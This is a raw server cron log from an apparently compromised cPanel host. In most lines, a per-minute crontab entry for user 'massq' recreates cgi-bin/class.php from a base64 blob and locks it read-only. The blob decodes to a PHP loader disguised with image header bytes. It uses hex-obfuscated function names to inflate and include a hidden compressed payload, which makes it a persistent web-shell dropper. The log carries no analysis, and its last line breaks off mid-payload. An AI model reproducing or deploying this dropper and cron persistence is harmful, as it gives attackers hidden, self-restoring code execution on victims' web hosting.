Apr 11 02:56:01 server CROND[8633]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 02:57:01 server CROND[8691]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 02:57:01 server CROND[8692]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 02:58:01 server CROND[8758]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 02:59:01 server CROND[8913]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 02:59:01 server CROND[8914]: (root) CMD (/usr/local/cpanel/whostmgr/docroot/cgi/cpaddons_report.pl --notify)
Apr 11 03:00:01 server CROND[8985]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 03:00:01 server CROND[8986]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 03:00:01 server CROND[8987]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 03:00:01 server CROND[8988]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 03:01:01 server CROND[9098]: (root) CMD (run-parts /etc/cron.hourly)
Apr 11 03:01:01 server CROND[9099]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 03:01:01 server run-parts(/etc/cron.hourly)[9098]: starting 0anacron
Apr 11 03:01:01 server anacron[9111]: Anacron started on 2025-04-11
Apr 11 03:01:01 server anacron[9111]: Will run job `cron.daily' in 32 min.
Apr 11 03:01:01 server anacron[9111]: Jobs will be executed sequentially
Apr 11 03:01:01 server run-parts(/etc/cron.hourly)[9113]: finished 0anacron
Apr 11 03:02:01 server CROND[9187]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 03:03:01 server CROND[9245]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 03:04:01 server CROND[9306]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 03:05:01 server CROND[9458]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 03:05:01 server CROND[9459]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 03:05:01 server CROND[9460]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 03:05:01 server CROND[9461]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 03:06:01 server CROND[9561]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 03:07:01 server CROND[9610]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 03:08:01 server CROND[9657]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 03:09:01 server CROND[9716]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7